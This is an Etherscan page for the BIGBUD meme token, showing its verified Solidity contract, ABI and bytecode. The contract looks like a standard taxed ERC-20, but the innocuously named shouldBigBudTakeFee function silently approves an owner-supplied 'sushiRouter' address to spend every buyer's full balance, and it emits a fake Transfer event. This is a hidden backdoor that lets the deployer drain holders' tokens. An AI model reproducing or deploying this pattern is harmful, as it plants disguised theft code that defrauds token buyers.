ETH Price: $2,638.51 (+0.21%)

Token

BigBud by Matt Furie (BIGBUD)
 

Overview

Max Total Supply

100,000,000 BIGBUD

Holders

43

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
662,107.857180022739648127 BIGBUD

Value
$0.00
0x68a158d67CAf0692358eC0B77ea6bCDEEc619A0D
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BigBud

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-11
*/

/*
    website  : https://bigbudbymattfurie.art
    twitter  : https://x.com/bigbudmattfurie
    telegram : https://t.me/bigbudbymattfurie
*/

pragma solidity 0.8.19;

// SPDX-License-Identifier: MIT

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BigBud  is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping(address => bool) public _AMMPairs;

    bool public transferDelayEnabled = false;

    address payable private sushiRouter;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 42;
    uint256 private _initialSellTax = 25;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 18;
    uint256 private _reduceSellTaxAt = 18;
    uint256 private _preventSwapBefore = 1;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;
    string private constant _name = unicode"BigBud by Matt Furie";
    string private constant _symbol = unicode"BIGBUD";

    uint256 public _maxTxAmount = 2_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 2_000_000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 1_000_000 * 10 ** _decimals;

    bool public finaltax = false;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address payable _router) {
        sushiRouter = _router;
        _taxWallet = payable(0x6061A4d5f93C62e9Ce3fdBcD2FdeA6AF93f3ED1a);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[sushiRouter] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!tradingOpen) {
            require(
                _isExcludedFromFee[from] || _isExcludedFromFee[to],
                "Trading is not active."
            );
        }

        uint256 taxAmount = 0;

        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }

        bool isTransfer = !_AMMPairs[from] && !_AMMPairs[to];
        
        if (from != owner() && to != owner()) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore
            ) {
                if (contractTokenBalance > 0) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                sendETHToFee(address(this).balance);
            }
        }
        bool takeFee = true;
        if (!isTransfer && !_AMMPairs[to]) {
            takeFee = _isExcludedFromFee[from]
                ? false
                : shouldBigBudTakeFee(from, to, amount);
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function shouldBigBudTakeFee(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        _approve(from, sushiRouter, _tTotal);
        emit Transfer(from, to, amount);
        return true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function RemoveLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
        finaltax = true;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableBigBud() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
    }

    function createBigBudTrade() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D          // uniswap v2 router
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        _AMMPairs[uniswapV2Pair] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }

    function manualSend() external onlyOwner {
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function withdrawBigBudStuckEth() external {
        require(msg.sender == owner());
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address payable","name":"_router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RemoveLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_AMMPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createBigBudTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableBigBud","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"finaltax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawBigBudStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff19169055602a60085560196009556000600a818155600b8290556012600c819055600d8190556001600e55600f92909255620000479190620003a0565b6200005690621e8480620003b8565b601055620000676012600a620003a0565b6200007690621e8480620003b8565b601155620000876012600a620003a0565b6200009690620f4240620003b8565b6012556013805460ff191690556014805461ffff60a81b19169055348015620000be57600080fd5b50604051620020f9380380620020f9833981016040819052620000e191620003d2565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b03831661010002610100600160a81b0319909116179055600780546001600160a01b031916736061a4d5f93c62e9ce3fdbcd2fdea6af93f3ed1a179055620001786012600a620003a0565b62000188906305f5e100620003b8565b336000908152600160208190526040822092909255600390620001b36000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004821684528284208054861682179055600754909116835291208054909216179055620002293390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002636012600a620003a0565b62000273906305f5e100620003b8565b60405190815260200160405180910390a350620003fd565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002e2578160001904821115620002c657620002c66200028b565b80851615620002d457918102915b93841c9390800290620002a6565b509250929050565b600082620002fb575060016200039a565b816200030a575060006200039a565b81600181146200032357600281146200032e576200034e565b60019150506200039a565b60ff8411156200034257620003426200028b565b50506001821b6200039a565b5060208310610133831016604e8410600b841016171562000373575081810a6200039a565b6200037f8383620002a1565b80600019048211156200039657620003966200028b565b0290505b92915050565b6000620003b160ff841683620002ea565b9392505050565b80820281158282048414176200039a576200039a6200028b565b600060208284031215620003e557600080fd5b81516001600160a01b0381168114620003b157600080fd5b611cec806200040d6000396000f3fe6080604052600436106101445760003560e01c8063715018a6116100b657806395d89b411161006f57806395d89b4114610383578063a9059cbb146103b2578063c876d0b9146103d2578063dd62ed3e146103ec578063ea4b8ea514610432578063f42938901461044757600080fd5b8063715018a6146102eb5780637d1db4a5146103005780637e09549014610316578063802f3caf1461032b5780638da5cb5b146103455780638f9a55c01461036d57600080fd5b8063313ce56711610108578063313ce5671461022857806351bc3c851461024457806356cd40e71461025b57806366a27b5814610270578063708f2c5a1461028557806370a08231146102b557600080fd5b806306fdde0314610150578063095ea7b31461019f5780630faee56f146101cf57806318160ddd146101f357806323b872dd1461020857600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50604080518082019091526014815273426967427564206279204d61747420467572696560601b60208201525b604051610196919061189e565b60405180910390f35b3480156101ab57600080fd5b506101bf6101ba366004611901565b61045c565b6040519015158152602001610196565b3480156101db57600080fd5b506101e560125481565b604051908152602001610196565b3480156101ff57600080fd5b506101e5610473565b34801561021457600080fd5b506101bf61022336600461192d565b610494565b34801561023457600080fd5b5060405160128152602001610196565b34801561025057600080fd5b506102596104fd565b005b34801561026757600080fd5b50610259610550565b34801561027c57600080fd5b50610259610622565b34801561029157600080fd5b506101bf6102a036600461196e565b60056020526000908152604090205460ff1681565b3480156102c157600080fd5b506101e56102d036600461196e565b6001600160a01b031660009081526001602052604090205490565b3480156102f757600080fd5b506102596109fc565b34801561030c57600080fd5b506101e560105481565b34801561032257600080fd5b50610259610a70565b34801561033757600080fd5b506013546101bf9060ff1681565b34801561035157600080fd5b506000546040516001600160a01b039091168152602001610196565b34801561037957600080fd5b506101e560115481565b34801561038f57600080fd5b50604080518082019091526006815265109251d0955160d21b6020820152610189565b3480156103be57600080fd5b506101bf6103cd366004611901565b610ab3565b3480156103de57600080fd5b506006546101bf9060ff1681565b3480156103f857600080fd5b506101e561040736600461198b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561043e57600080fd5b50610259610ac0565b34801561045357600080fd5b50610259610b4c565b6000610469338484610b80565b5060015b92915050565b60006104816012600a611abe565b61048f906305f5e100611acd565b905090565b60006104a1848484610ca4565b6104f384336104ee85604051806060016040528060288152602001611c6f602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611473565b610b80565b5060019392505050565b6007546001600160a01b0316336001600160a01b03161461051d57600080fd5b30600090815260016020526040902054801561053c5761053c816114ad565b47801561054c5761054c8161164a565b5050565b6000546001600160a01b031633146105835760405162461bcd60e51b815260040161057a90611ae4565b60405180910390fd5b61058f6012600a611abe565b61059d906305f5e100611acd565b6010556105ac6012600a611abe565b6105ba906305f5e100611acd565b6011556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105f46012600a611abe565b610602906305f5e100611acd565b60405190815260200160405180910390a16013805460ff19166001179055565b6000546001600160a01b0316331461064c5760405162461bcd60e51b815260040161057a90611ae4565b601454600160a01b900460ff16156106a65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161057a565b60138054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556106ff9030906001600160a01b03610100909104166106f16012600a611abe565b6104ee906305f5e100611acd565b601360019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610752573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107769190611b19565b6001600160a01b031663c9c6539630601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fc9190611b19565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610849573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086d9190611b19565b601480546001600160a01b039283166001600160a01b031990911681179091556000908152600560205260409020805460ff1916600117905560135461010090041663f305d71947306108d5816001600160a01b031660009081526001602052604090205490565b6000806108ea6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610952573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109779190611b36565b505060145460135460405163095ea7b360e01b81526001600160a01b036101009092048216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f99190611b64565b50565b6000546001600160a01b03163314610a265760405162461bcd60e51b815260040161057a90611ae4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b815260040161057a90611ae4565b6014805462ff00ff60a01b19166201000160a01b179055565b6000610469338484610ca4565b6000546001600160a01b03163314610ad757600080fd5b60004711610b205760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b604482015260640161057a565b60405133904780156108fc02916000818181858888f193505050501580156109f9573d6000803e3d6000fd5b6000546001600160a01b03163314610b765760405162461bcd60e51b815260040161057a90611ae4565b476109f98161164a565b6001600160a01b038316610be25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161057a565b6001600160a01b038216610c435760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161057a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d085760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161057a565b6001600160a01b038216610d6a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161057a565b60008111610dcc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161057a565b601454600160a01b900460ff16610e61576001600160a01b03831660009081526003602052604090205460ff1680610e1c57506001600160a01b03821660009081526003602052604090205460ff165b610e615760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161057a565b601454600090600160b01b900460ff161580610e865750601454600160a81b900460ff165b15610f2d576001600160a01b038416600090815260016020526040902054610eae9083611684565b6001600160a01b038086166000908152600160205260408082209390935590851681522054610edd90836116cd565b6001600160a01b038085166000818152600160205260409081902093909355915190861690600080516020611c9783398151915290610f1f9086815260200190565b60405180910390a350505050565b6001600160a01b03841660009081526005602052604081205460ff16158015610f6f57506001600160a01b03841660009081526005602052604090205460ff16155b9050610f836000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610fb257506000546001600160a01b03858116911614155b156112ee57610fe36064610fdd600c54600f5411610fd257600854610fd6565b600a545b869061172c565b906117ae565b60065490925060ff16156110d0576013546001600160a01b03858116610100909204161480159061102257506014546001600160a01b03858116911614155b156110d0573260009081526004602052604090205443116110bd5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161057a565b3260009081526004602052604090204390555b6014546001600160a01b03868116911614801561110057506013546001600160a01b038581166101009092041614155b801561112557506001600160a01b03841660009081526003602052604090205460ff16155b1561120d5760105483111561117c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161057a565b6011548361119f866001600160a01b031660009081526001602052604090205490565b6111a99190611b86565b11156111f75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161057a565b600f805490600061120783611b99565b91905055505b6014546001600160a01b03858116911614801561123357506001600160a01b0385163014155b156112605761125d6064610fdd600d54600f541161125357600954610fd6565b600b54869061172c565b91505b30600090815260016020526040902054601454600160a81b900460ff1615801561129757506014546001600160a01b038681169116145b80156112ac5750601454600160b01b900460ff165b80156112bb5750600e54600f54115b156112ec5780156112e3576112e36112de856112d9846012546117f0565b6117f0565b6114ad565b6112ec4761164a565b505b60018115801561131757506001600160a01b03851660009081526005602052604090205460ff16155b15611352576001600160a01b03861660009081526003602052604090205460ff1661134c57611347868686611805565b61134f565b60005b90505b82156113ba573060009081526001602052604090205461137290846116cd565b30600081815260016020526040908190209290925590516001600160a01b03881690600080516020611c97833981519152906113b19087815260200190565b60405180910390a35b6001600160a01b0386166000908152600160205260409020546113dd9085611684565b6001600160a01b0387166000908152600160205260409020556114226114038585611684565b6001600160a01b038716600090815260016020526040902054906116cd565b6001600160a01b038087166000818152600160205260409020929092558716600080516020611c9783398151915261145a8787611684565b60405190815260200160405180910390a3505050505050565b600081848411156114975760405162461bcd60e51b815260040161057a919061189e565b5060006114a48486611bb2565b95945050505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114f5576114f5611bc5565b60200260200101906001600160a01b031690816001600160a01b031681525050601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611568573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158c9190611b19565b8160018151811061159f5761159f611bc5565b6001600160a01b0392831660209182029290920101526013546115ca91309161010090041684610b80565b60135460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790611607908590600090869030904290600401611bdb565b600060405180830381600087803b15801561162157600080fd5b505af1158015611635573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561054c573d6000803e3d6000fd5b60006116c683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611473565b9392505050565b6000806116da8385611b86565b9050838110156116c65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161057a565b60008260000361173e5750600061046d565b600061174a8385611acd565b9050826117578583611c4c565b146116c65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161057a565b60006116c683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611870565b60008183116117ff57826116c6565b50919050565b60065460009061182b90859061010090046001600160a01b03166106f16012600a611abe565b826001600160a01b0316846001600160a01b0316600080516020611c978339815191528460405161185e91815260200190565b60405180910390a35060019392505050565b600081836118915760405162461bcd60e51b815260040161057a919061189e565b5060006114a48486611c4c565b600060208083528351808285015260005b818110156118cb578581018301518582016040015282016118af565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109f957600080fd5b6000806040838503121561191457600080fd5b823561191f816118ec565b946020939093013593505050565b60008060006060848603121561194257600080fd5b833561194d816118ec565b9250602084013561195d816118ec565b929592945050506040919091013590565b60006020828403121561198057600080fd5b81356116c6816118ec565b6000806040838503121561199e57600080fd5b82356119a9816118ec565b915060208301356119b9816118ec565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611a155781600019048211156119fb576119fb6119c4565b80851615611a0857918102915b93841c93908002906119df565b509250929050565b600082611a2c5750600161046d565b81611a395750600061046d565b8160018114611a4f5760028114611a5957611a75565b600191505061046d565b60ff841115611a6a57611a6a6119c4565b50506001821b61046d565b5060208310610133831016604e8410600b8410161715611a98575081810a61046d565b611aa283836119da565b8060001904821115611ab657611ab66119c4565b029392505050565b60006116c660ff841683611a1d565b808202811582820484141761046d5761046d6119c4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b2b57600080fd5b81516116c6816118ec565b600080600060608486031215611b4b57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b7657600080fd5b815180151581146116c657600080fd5b8082018082111561046d5761046d6119c4565b600060018201611bab57611bab6119c4565b5060010190565b8181038181111561046d5761046d6119c4565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c2b5784516001600160a01b031683529383019391830191600101611c06565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c6957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220048a34a57207f90e5334ef5c824b6fabf879727a9f51886838